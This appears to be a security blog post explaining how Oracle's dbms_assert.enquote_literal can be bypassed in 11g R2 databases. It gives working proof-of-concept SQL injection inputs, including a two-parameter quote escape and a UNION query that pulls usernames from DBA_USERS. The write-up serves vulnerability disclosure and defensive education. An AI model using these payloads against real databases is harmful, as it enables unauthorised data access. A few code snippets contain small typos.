Successful exploitation of the vulnerability is not difficult, but normal security scanners will not detect the issue, or if they do, they will not find a viable exploit path. The remainder of this post will discuss the impacted Oracle versions, the dbms_assert.enquote_literal use case that is vulnerable to attack, and demonstrate a proof of concept for exploitation.
Affected Oracle Versions
Oracle Databases running 11g R2 through 11.2.0.3 are affected. The examples in this post all use an Oracle XE database running on an OEL virtual machine.
How is dbms_assert.enquote_literal used?
The method call in question is used to place a single quote ( one ' ) around a string, "en-quoting" it to be used for building of dynamic SQL statements.
This is very useful for a developer as it helps to avoid "escaping hell." Rather than building a dynamic sql manually adding escaped quotes to a string:
stmt := 'select * from users where user = ''' || usr_var || '''';
You can use dbms_assert.enquote_literal to handle the quotes for you and avoid the complexities of escaping your quotes:
stmt := 'select * from users where user = ' || dbms_assert.enqoute_literal(usr_var);
Saving a developer from "escaping hell" is not the primary purpose of the method. The main reason to use the function is to protect against sql injection. In normal SQLi scenarios a single quote is passed in to allow the attacker to break out of the dynamic sql, and embed a malicious code block. The dbms_assert.enquote_literal method will throw an error if there is an unbalanced quote:
SQLi and DBMS_ASSERT.ENQOUTE_LITERAL as protection:
So how exactly does this protect against SQL injection? Let us examine a simple Oracle pl/sql function that is vulnerable to SQL injection, starting with this table, populated with the given values:
create table example_table(id number primary key, value varchar2(100)); insert into example_table values (1,'Dog'); insert into example_table values (2,'Cat'); insert into example_table values (3,'Catfish'); insert into example_table values (4,'Dogwood'); insert into example_table values (5,'Wood');
Now we will build a function that queries the table, and is vulnerable to SQL injection:
create or replace function basic_sqli(input in varchar2) return xmltype
as
stmt varchar2(100) := 'select id, value from example_table where upper(value) like upper(''%' || input || '%'')';
cur sys_refcursor;
xml xmltype;
begin
open cur for stmt;
xml := xmltype.createxml(cur);
return xml;
end;
/
This is a pretty basic function. It queries the table EXAMPLE_TABLE for any record that contains the search string passed in. This query is the happy path execution:
select basic_sqli('o') from dual;
However, the function is also trivial to inject, with the following standard proof of concept injection inputs:
select basic_sqli('o'' ) or 1=1--') from dual;
select basic_sqli('o'' ) and 1=0--') from dual;
DBMS_ASSERT to protect against SQL injection
Now let us explore how dbms_assert.enquote_literal can be used to protect against SQL injection attacks. We will slightly modify the previous function so that the user input is passed through a call to dbms_assert.enquote_literal prior to execution:
create or replace function protected_sqli(input in varchar2) return xmltype
as
stmt varchar2(100);
clean varchar2(100);
cur sys_refcursor;
xml xmltype;
begin
clean := dbms_assert.enquote_literal('%'||input||'%');
stmt := 'select id, value from example_table where upper(value) like upper('|| clean || ')';
open cur for stmt;
xml := xmltype.createxml(cur);
return xml;
end;
/
As we can see the "happy path" behavior of the query remains the same:
select protected_sqli('o') from dual;
However the same SQL injection attack used previously now results in an error:
select protected_sqli('o'' ) or 1=1--') from dual;
The problem with dbms_assert.enquote_literal
So far, it looks like the method provides fairly robust protection against SQL injection. However there is a crucial problem with the method in earlier versions of oracle. If you pass a single quote to the method (which in SQLplus is escaped as '''') the function returns a single quote:
This single quote provides us with the escape vector we need to successfully inject a procedure. This injection approach will not work with the previous example, as it requires an injection that spans multiple input fields. However, consider the following function call, that allows for multiple search strings against our original table:
create or replace function bypassable_protected_sqli(in1 in varchar2, in2 varchar2) return xmltype
as
stmt varchar2(1000);
clean1 varchar2(100);
clean2 varchar2(100);
cur sys_refcursor;
xml xmltype;
begin
clean1 := dbms_assert.enquote_literal(in1);
clean2 := dbms_assert.enquote_literal(in2);
stmt := 'select id, value from example_table where upper(value) = upper('|| clean1 || ') or upper(value) = upper(' || clean2 || ')';
dbms_output.put_line(stmt);
open cur for stmt;
xml := xmltype.createxml(cur);
return xml;
end;
/
Note: I have added a dbms_output to this function to make it easier to see how the inputs are parsed.
Nominally the function will allow a user to query the table against two different inputs:
select bypassable_protected_sqli('cat','wood') from dual;
And the function executes the intended query:
select id, value from example_table
where upper(value) = upper('cat') or upper(value) = upper('wood')
A traditional SQLi attack will not work, because the function is protected by dbms_assert:
select bypassable_protected_sqli('cat'' or 1=1--','wood') from dual;
However, if we pass a single quote (in SQLplus escaped to '''') we see that we can break out of the query and generate a syntax error in the dynamic sql statement:
select bypassable_protected_sqli('''','wood') from dual;
If you look at the resulting query you will see that we have inserted a single quote into the first condition:
select id, value from example_table
where upper(value) = upper(') or upper(value) = upper('wood')
Now that we have used the first parameter as our escape-vector we can use the second input parameter for our injection payload:
select bypassable_protected_sqli('''',') or 1=1--') from dual;
select id, value from example_table
where upper(value) = upper(') or upper(value) = upper(') or 1-1--')
The first parameter becomes our escape vector, and we can add any injection query to the second parameter as long as it does not contain a quote (which would result in a dbms_assert error). Here is an example querying the DBA_USERS table:
select bypassable_protected_sqli('''',') union select rownum, username from dba_users where rownum < 5--') from dual;
select id, value
from example_table
where upper(value) = upper(') or upper(value) = upper(')
union select rownum, username from dba_users where rownum < 5--')
Conclusion
In future posts I will look at how sqlmap reports the results of injection attempts on queries built using dbms_assert.enquote_literal, and look at some other methods used in Oracle to protect against SQL injection.
